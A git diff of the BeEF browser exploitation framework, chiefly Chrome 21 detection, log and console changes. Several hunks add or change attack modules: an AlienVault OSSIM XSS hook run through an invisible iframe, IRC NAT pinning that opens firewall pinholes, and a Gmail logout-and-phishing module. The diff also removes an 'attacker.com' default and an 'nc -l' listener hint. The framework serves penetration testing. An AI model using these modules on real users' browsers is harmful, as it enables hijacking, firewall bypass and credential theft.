diff --git a/config.yaml b/config.yaml index 6560e8cf1..80a9bb0d1 100644 --- a/config.yaml +++ b/config.yaml @@ -43,7 +43,7 @@ beef: websocket: enable: false secure: false # use WebSocketSecure - port: 11989 + port: 61985 # good success rate through proxies alive_timer: 1000 # poll BeEF every second # Imitate a specified web server (default root page, 404 default error page, 'Server' HTTP response header) diff --git a/core/main/client/browser.js b/core/main/client/browser.js index cf1a5c174..0ca172c1d 100644 --- a/core/main/client/browser.js +++ b/core/main/client/browser.js @@ -348,12 +348,20 @@ beef.browser = { return (!!window.chrome && !window.webkitPerformance) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10)==20)?true:false); }, + /** + * Returns true if Chrome 21. + * @example: beef.browser.isC21() + */ + isC21: function() { + return (!!window.chrome && !window.webkitPerformance) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10)==21)?true:false); + }, + /** * Returns true if Chrome. * @example: beef.browser.isC() */ isC: function() { - return this.isC5() || this.isC6() || this.isC7() || this.isC8() || this.isC9() || this.isC10() || this.isC11() || this.isC12() || this.isC13() || this.isC14() || this.isC15() || this.isC16()|| this.isC17() || this.isC18() || this.isC19() || this.isC20(); + return this.isC5() || this.isC6() || this.isC7() || this.isC8() || this.isC9() || this.isC10() || this.isC11() || this.isC12() || this.isC13() || this.isC14() || this.isC15() || this.isC16()|| this.isC17() || this.isC18() || this.isC19() || this.isC20() || this.isC21(); }, /** @@ -429,6 +437,7 @@ beef.browser = { C18: this.isC18(), // Chrome 18 C19: this.isC19(), // Chrome 19 C20: this.isC20(), // Chrome 20 + C21: this.isC21(), // Chrome 21 C: this.isC(), // Chrome any version FF2: this.isFF2(), // Firefox 2 @@ -491,8 +500,9 @@ beef.browser = { if (this.isC18()) { return '18' }; // Chrome 18 if (this.isC19()) { return '19' }; // Chrome 19 if (this.isC20()) { return '20' }; // Chrome 20 + if (this.isC21()) { return '21' }; // Chrome 21 - if (this.isFF2()) { return '2' }; // Firefox 2 + if (this.isFF2()) { return '2' }; // Firefox 2 if (this.isFF3()) { return '3' }; // Firefox 3 if (this.isFF3_5()) { return '3.5'}; // Firefox 3.5 if (this.isFF3_6()) { return '3.6'}; // Firefox 3.6 diff --git a/core/main/handlers/browserdetails.rb b/core/main/handlers/browserdetails.rb index 9a5f27946..4f597f402 100644 --- a/core/main/handlers/browserdetails.rb +++ b/core/main/handlers/browserdetails.rb @@ -279,7 +279,7 @@ module BeEF end # log a few info of newly hooked zombie in the console - print_info "New Hooked Browser [ip:#{zombie.ip}, type:#{browser_name}-#{browser_version}, os:#{os_name}], hooked domain [#{log_zombie_domain}:#{log_zombie_port.to_s}]" + print_info "New Hooked Browser [id:#{zombie.id}, ip:#{zombie.ip}, type:#{browser_name}-#{browser_version}, os:#{os_name}], hooked domain [#{log_zombie_domain}:#{log_zombie_port.to_s}]" # Call autorun modules diff --git a/core/main/handlers/modules/command.rb b/core/main/handlers/modules/command.rb index 9d7646614..dc98b1ef8 100644 --- a/core/main/handlers/modules/command.rb +++ b/core/main/handlers/modules/command.rb @@ -82,7 +82,7 @@ module BeEF # @note prints the event to the console if BeEF::Settings.console? name = command_module.friendlyname || kclass - print_info "Hooked browser #{hooked_browser.ip} has been sent instructions from command module '#{name}'" + print_info "Hooked browser [id:#{hooked_browser.id}, ip:#{hooked_browser.ip}] has been sent instructions from command module '#{name}'" end # @note flag that the command has been sent to the hooked browser diff --git a/core/main/models/command.rb b/core/main/models/command.rb index c4f8751e4..3ea317ae4 100644 --- a/core/main/models/command.rb +++ b/core/main/models/command.rb @@ -65,11 +65,11 @@ module Models command.save # @note log that the result was returned - BeEF::Core::Logger.instance.register('Command', "Hooked browser #{hooked_browser.ip} has executed instructions from command module '#{command_friendly_name}'", hooked_browser_id) + BeEF::Core::Logger.instance.register('Command', "Hooked browser [id:#{hooked_browser.id}, ip:#{hooked_browser.ip}] has executed instructions from command module '#{command_friendly_name}'", hooked_browser_id) # @note prints the event into the console if BeEF::Settings.console? - print_info "Hooked browser #{hooked_browser.ip} has executed instructions from command module '#{command_friendly_name}'" + print_info "Hooked browser [id:#{hooked_browser.id}, ip:#{hooked_browser.ip}] has executed instructions from command module '#{command_friendly_name}'" end end diff --git a/core/main/network_stack/assethandler.rb b/core/main/network_stack/assethandler.rb index 52df821bd..4ce4f00c7 100644 --- a/core/main/network_stack/assethandler.rb +++ b/core/main/network_stack/assethandler.rb @@ -69,9 +69,14 @@ module Handlers server = TCPServer.new(host,port) loop do Thread.start(server.accept) do |client| - # client.puts "" - # we don't close the client socket - # client.close + data = "" + recv_length = 1024 + while (tmp = client.recv(recv_length)) + data += tmp + break if tmp.length < recv_length || tmp.length == recv_length + end + client.close + print_debug "Bind Socket on Thread [#{name}] received:\n#{data}" end end } diff --git a/extensions/admin_ui/controllers/modules/modules.rb b/extensions/admin_ui/controllers/modules/modules.rb index 6fce2a02c..a3d0c087c 100644 --- a/extensions/admin_ui/controllers/modules/modules.rb +++ b/extensions/admin_ui/controllers/modules/modules.rb @@ -28,6 +28,7 @@ class Modules < BeEF::Extension::AdminUI::HttpController def initialize super({ 'paths' => { + '/getRestfulApiToken.json' => method(:get_restful_api_token), '/select/commandmodules/all.json' => method(:select_all_command_modules), '/select/commandmodules/tree.json' => method(:select_command_modules_tree), '/select/commandmodule.json' => method(:select_command_module), @@ -43,6 +44,17 @@ class Modules < BeEF::Extension::AdminUI::HttpController @session = BeEF::Extension::AdminUI::Session.instance end + + # @note Returns the RESTful api key. Authenticated call, so callable only + # from the admin UI after successful authentication (cookie). + # -> http://127.0.0.1:3000/ui/modules/getRestfulApiToken.json + # response + # <- {"token":"800679edbb59976935d7673924caaa9e99f55c32"} + def get_restful_api_token + @body = { + 'token' => BeEF::Core::Configuration.instance.get("beef.api_token") + }.to_json + end # Returns a JSON array containing the summary for a selected zombie. def select_zombie_summary diff --git a/extensions/console/lib/command_dispatcher/core.rb b/extensions/console/lib/command_dispatcher/core.rb index 2a1f81a99..a7e7905b6 100644 --- a/extensions/console/lib/command_dispatcher/core.rb +++ b/extensions/console/lib/command_dispatcher/core.rb @@ -47,10 +47,14 @@ class Core end def cmd_back(*args) - if (driver.current_dispatcher.name == 'Command') - driver.remove_dispatcher('Command') - driver.interface.clearcommand #TODO: TIDY THIS UP - driver.update_prompt("(%bld%red"+driver.interface.targetip+"%clr) ["+driver.interface.targetid.to_s+"] ") + if (driver.current_dispatcher.name == 'Command') + driver.remove_dispatcher('Command') + driver.interface.clearcommand #TODO: TIDY THIS UP + if driver.interface.targetid.length > 1 + driver.update_prompt("(%bld%redMultiple%clr) ["+driver.interface.targetid.join(",")+"] ") + else + driver.update_prompt("(%bld%red"+driver.interface.targetip+"%clr) ["+driver.interface.targetid.first.to_s+"] ") + end elsif (driver.current_dispatcher.name == 'Target') driver.remove_dispatcher('Target') driver.interface.cleartarget @@ -147,11 +151,12 @@ class Core [ 'Id', 'IP', + 'Browser', 'OS' ]) BeEF::Core::Models::HookedBrowser.all(:lastseen.gte => (Time.new.to_i - 30)).each do |zombie| - tbl << [zombie.id,zombie.ip,beef_logo_to_os(BeEF::Core::Models::BrowserDetails.os_icon(zombie.session))] + tbl << [zombie.id,zombie.ip,BeEF::Core::Models::BrowserDetails.get(zombie.session, 'BrowserName')+"-"+BeEF::Core::Models::BrowserDetails.get(zombie.session, 'BrowserVersion'),BeEF::Core::Models::BrowserDetails.get(zombie.session, 'OsName')] end puts "\n" @@ -178,11 +183,12 @@ class Core [ 'Id', 'IP', + 'Browser', 'OS' ]) BeEF::Core::Models::HookedBrowser.all(:lastseen.lt => (Time.new.to_i - 30)).each do |zombie| - tbl << [zombie.id,zombie.ip,beef_logo_to_os(BeEF::Core::Models::BrowserDetails.os_icon(zombie.session))] + tbl << [zombie.id,zombie.ip,BeEF::Core::Models::BrowserDetails.get(zombie.session, 'BrowserName')+"-"+BeEF::Core::Models::BrowserDetails.get(zombie.session, 'BrowserVersion'),BeEF::Core::Models::BrowserDetails.get(zombie.session, 'OsName')] end puts "\n" @@ -213,23 +219,30 @@ class Core BeEF::Core::Models::HookedBrowser.all(:lastseen.gt => (Time.new.to_i - 30)).each do |zombie| onlinezombies << zombie.id end - - if not onlinezombies.include?(args[0].to_i) - print_status("Browser does not appear to be online..") - return false - end - - if not driver.interface.settarget(args[0]).nil? + + targets = args[0].split(',') + targets.each {|t| + if not onlinezombies.include?(t.to_i) + print_status("Browser [id:"+t.to_s+"] does not appear to be online.") + return false + end + #print_status("Adding browser [id:"+t.to_s+"] to target list.") + } + + if not driver.interface.settarget(targets).nil? if (driver.dispatcher_stack.size > 1 and driver.current_dispatcher.name != 'Core') - driver.destack_dispatcher - driver.update_prompt('') + driver.update_prompt('') end - + driver.enstack_dispatcher(Target) - driver.update_prompt("(%bld%red"+driver.interface.targetip+"%clr) ["+driver.interface.targetid.to_s+"] ") + if driver.interface.targetid.length > 1 + driver.update_prompt("(%bld%redMultiple%clr) ["+driver.interface.targetid.join(",")+"] ") + else + driver.update_prompt("(%bld%red"+driver.interface.targetip+"%clr) ["+driver.interface.targetid.first.to_s+"] ") + end end end @@ -287,13 +300,16 @@ class Core if not driver.interface.setofflinetarget(args[0]).nil? if (driver.dispatcher_stack.size > 1 and driver.current_dispatcher.name != 'Core') - driver.destack_dispatcher - driver.update_prompt('') + driver.update_prompt('') end driver.enstack_dispatcher(Target) - driver.update_prompt("(%bld%red"+driver.interface.targetip+"%clr) ["+driver.interface.targetid.to_s+"] ") + if driver.interface.targetid.length > 1 + driver.update_prompt("(%bld%redMultiple%clr) ["+driver.interface.targetid.join(",")+"] ") + else + driver.update_prompt("(%bld%red"+driver.interface.targetip+"%clr) ["+driver.interface.targetid.to_s+"] ") + end end end @@ -381,4 +397,4 @@ class Core end -end end end end \ No newline at end of file +end end end end diff --git a/extensions/console/lib/command_dispatcher/target.rb b/extensions/console/lib/command_dispatcher/target.rb index c8099383b..5a4fe0ec6 100644 --- a/extensions/console/lib/command_dispatcher/target.rb +++ b/extensions/console/lib/command_dispatcher/target.rb @@ -28,7 +28,7 @@ class Target begin driver.interface.getcommands.each { |folder| folder['children'].each { |command| - @@commands << folder['text'] + "/" + command['text'].gsub(/[-\(\)]/,"").gsub(/\W+/,"_") + @@commands << folder['text'] + command['text'].gsub(/[-\(\)]/,"").gsub(/\W+/,"_") } } rescue @@ -73,8 +73,8 @@ class Target driver.interface.getcommands.each { |folder| folder['children'].each { |command| - tbl << [command['id'].to_s, - folder['text'] + "/" + command['text'].gsub(/[-\(\)]/,"").gsub(/\W+/,"_"), + tbl << [command['id'].to_i, + folder['text'] + command['text'].gsub(/[-\(\)]/,"").gsub(/\W+/,"_"), command['status'].gsub(/^Verified /,""), driver.interface.getcommandresponses(command['id']).length] #TODO } @@ -159,7 +159,12 @@ class Target driver.enstack_dispatcher(Command) if driver.dispatched_enstacked(Command) == false - driver.update_prompt("(%bld%red"+driver.interface.targetip+"%clr) ["+driver.interface.targetid.to_s+"] / "+driver.interface.cmd['Name']+" ") + if driver.interface.targetid.length > 1 + driver.update_prompt("(%bld%redMultiple%clr) ["+driver.interface.targetid.join(",")+"] / "+driver.interface.cmd['Name']+" ") + else + driver.update_prompt("(%bld%red"+driver.interface.targetip+"%clr) ["+driver.interface.targetid.first.to_s+"] / "+driver.interface.cmd['Name']+" ") + end + end def cmd_select_help(*args) diff --git a/extensions/console/lib/shellinterface.rb b/extensions/console/lib/shellinterface.rb index 8e65fa61d..55869fae7 100644 --- a/extensions/console/lib/shellinterface.rb +++ b/extensions/console/lib/shellinterface.rb @@ -60,6 +60,9 @@ class ShellInterface tree = [] BeEF::Modules.get_categories.each { |c| + if c[-1,1] != "/" + c.concat("/") + end tree.push({ 'text' => c, 'cls' => 'folder', @@ -68,7 +71,21 @@ class ShellInterface } BeEF::Modules.get_enabled.each{|k, mod| - update_command_module_tree(tree, mod['category'], get_command_module_status(k), mod['name'],mod['db']['id']) + + flatcategory = "" + if mod['category'].kind_of?(Array) + # Therefore this module has nested categories (sub-folders), munge them together into a string with '/' characters, like a folder. + mod['category'].each {|cat| + flatcategory << cat + "/" + } + else + flatcategory = mod['category'] + if flatcategory[-1,1] != "/" + flatcategory.concat("/") + end + end + + update_command_module_tree(tree, flatcategory, get_command_module_status(k), mod['name'],mod['db']['id']) } # if dynamic modules are found in the DB, then we don't have yaml config for them @@ -336,7 +353,7 @@ class ShellInterface page_name_row = { 'category' => 'Host', - 'data' => encoded_date_stamp, + 'data' => encoded_date_stamp_hash, 'from' => 'Initialization' } diff --git a/modules/exploits/xss/alienvault_ossim_3.1_xss/command.js b/modules/exploits/xss/alienvault_ossim_3.1_xss/command.js new file mode 100644 index 000000000..6a942ff85 --- /dev/null +++ b/modules/exploits/xss/alienvault_ossim_3.1_xss/command.js @@ -0,0 +1,26 @@ +// +// Copyright 2012 Wade Alcorn wade@bindshell.net +// +// Licensed under the Apache License, Version 2.0 (the "License"); +// you may not use this file except in compliance with the License. +// You may obtain a copy of the License at +// +// http://www.apache.org/licenses/LICENSE-2.0 +// +// Unless required by applicable law or agreed to in writing, software +// distributed under the License is distributed on an "AS IS" BASIS, +// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +// See the License for the specific language governing permissions and +// limitations under the License. +// +beef.execute(function() { + + var uri = '<%= @uri.gsub(/'/, "\\'") %>'; + + var alienvault_iframe_<%= @command_id %> = beef.dom.createInvisibleIframe(); + alienvault_iframe_<%= @command_id %>.setAttribute('src', uri); + + beef.net.send("<%= @command_url %>", <%= @command_id %>, "result=exploit attempted"); + +}); + diff --git a/modules/exploits/xss/alienvault_ossim_3.1_xss/config.yaml b/modules/exploits/xss/alienvault_ossim_3.1_xss/config.yaml new file mode 100644 index 000000000..a43a30312 --- /dev/null +++ b/modules/exploits/xss/alienvault_ossim_3.1_xss/config.yaml @@ -0,0 +1,25 @@ +# +# Copyright 2012 Wade Alcorn wade@bindshell.net +# +# Licensed under the Apache License, Version 2.0 (the "License"); +# you may not use this file except in compliance with the License. +# You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License. +# +beef: + module: + alienvault_ossim_3_1_xss: + enable: true + category: ["Exploits", "XSS"] + name: "AlienVault OSSIM 3.1 XSS" + description: "Attempts to hook AlienVault OSSIM 3.1 using XSS.
For more information see: http://www.exploit-db.com/exploits/20062/" + authors: ["bcoles", "muts"] + target: + working: ["ALL"] diff --git a/modules/exploits/xss/alienvault_ossim_3.1_xss/module.rb b/modules/exploits/xss/alienvault_ossim_3.1_xss/module.rb new file mode 100644 index 000000000..abcf44b8c --- /dev/null +++ b/modules/exploits/xss/alienvault_ossim_3.1_xss/module.rb @@ -0,0 +1,33 @@ +# +# Copyright 2012 Wade Alcorn wade@bindshell.net +# +# Licensed under the Apache License, Version 2.0 (the "License"); +# you may not use this file except in compliance with the License. +# You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License. +# +class Alienvault_ossim_3_1_xss < BeEF::Core::Command + + def self.options + + configuration = BeEF::Core::Configuration.instance + hook_uri = "http://#{configuration.get("beef.http.host")}:#{configuration.get("beef.http.port")}/hook.js" + + return [ + {'name' => 'uri', 'ui_label' => 'Target URL', 'value' => 'http://target/ossim/top.php?option=3&soption=3&url='} + ] + + end + + def post_execute + save({'result' => @datastore['result']}) + end + +end diff --git a/modules/network/nat_pinning_irc/command.js b/modules/network/nat_pinning_irc/command.js index 7debb8fe8..4caef4fef 100644 --- a/modules/network/nat_pinning_irc/command.js +++ b/modules/network/nat_pinning_irc/command.js @@ -25,7 +25,7 @@ beef.execute(function() { var myIframe = beef.dom.createInvisibleIframe(); var myForm = document.createElement("form"); - var action = connectto + ":6667/" + var action = "http://" + connectto + ":6667/" myForm.setAttribute("name", "data"); myForm.setAttribute("method", "post"); diff --git a/modules/network/nat_pinning_irc/config.yaml b/modules/network/nat_pinning_irc/config.yaml index a44e71913..784c7e7be 100644 --- a/modules/network/nat_pinning_irc/config.yaml +++ b/modules/network/nat_pinning_irc/config.yaml @@ -19,7 +19,7 @@ beef: enable: true category: "Network" name: "IRC NAT Pinning" - description: "Attempts to open closed ports on statefull firewalls and attempts to create pinholes on NAT-devices. The firewall/NAT-device must support IRC connection tracking. On the attackers side the TCP connection just needs to be accepted (nc -l -p 6667). Then you can connect to the victims public IP on that port. For the moment it hasn't been tested with NAT, but it works with iptables when ip_conntrack and ip_conntrack_irc are loaded. For more information, please refer to: http://samy.pl/natpin/ ." + description: "Attempts to open closed ports on statefull firewalls and attempts to create pinholes on NAT-devices. The firewall/NAT-device must support IRC connection tracking. BeEF will automatically bind a socket on port 6667 (IRC). Then you can connect to the victims public IP on that port. For more information, please refer to: http://samy.pl/natpin/ ." authors: ["Bart Leppens"] target: working: ["FF"] diff --git a/modules/network/nat_pinning_irc/module.rb b/modules/network/nat_pinning_irc/module.rb index 05d005189..a934c79da 100644 --- a/modules/network/nat_pinning_irc/module.rb +++ b/modules/network/nat_pinning_irc/module.rb @@ -15,14 +15,16 @@ # class Irc_nat_pinning < BeEF::Core::Command - #todo antisnatchor: reverted for now - #def pre_send - # BeEF::Core::NetworkStack::Handlers::AssetHandler.instance.bind_socket("IRC", "0.0.0.0", 6667) - #end + def pre_send + BeEF::Core::NetworkStack::Handlers::AssetHandler.instance.bind_socket("IRC", "0.0.0.0", 6667) + end def self.options + @configuration = BeEF::Core::Configuration.instance + beef_host = @configuration.get("beef.http.public") || @configuration.get("beef.http.host") + return [ - {'name'=>'connectto', 'ui_label' =>'Connect to','value'=>'http://attacker.com'}, + {'name'=>'connectto', 'ui_label' =>'Connect to','value'=>beef_host}, {'name'=>'privateip', 'ui_label' =>'Private IP','value'=>'192.168.0.100'}, {'name'=>'privateport', 'ui_label' =>'Private Port','value'=>'22'} ] @@ -32,8 +34,9 @@ class Irc_nat_pinning < BeEF::Core::Command return if @datastore['result'].nil? save({'result' => @datastore['result']}) - #todo antisnatchor: how long should we leave it open? Maybe default timeout of 30 seconds? - #BeEF::Core::NetworkStack::Handlers::AssetHandler.instance.unbind_socket("IRC") + # wait 30 seconds before unbinding the socket. The HTTP connection will arrive sooner than that anyway. + sleep 30 + BeEF::Core::NetworkStack::Handlers::AssetHandler.instance.unbind_socket("IRC") end diff --git a/modules/social_engineering/gmail_phishing/config.yaml b/modules/social_engineering/gmail_phishing/config.yaml index 2ec1d6c6e..a7666f4b3 100644 --- a/modules/social_engineering/gmail_phishing/config.yaml +++ b/modules/social_engineering/gmail_phishing/config.yaml @@ -17,7 +17,7 @@ beef: module: gmail_phishing: enable: true - category: ["Social Engineering"] + category: "Social Engineering" name: "Google Phishing" description: "This plugin uses an image tag to XSRF the logout button of Gmail. Continuously the user is logged out of Gmail (eg. if he is logged in in another tab). Additionally it will show the Google favicon and a Gmail phishing page (although the URL is NOT the Gmail URL)." authors: ["floyd @floyd_ch floyd.ch"]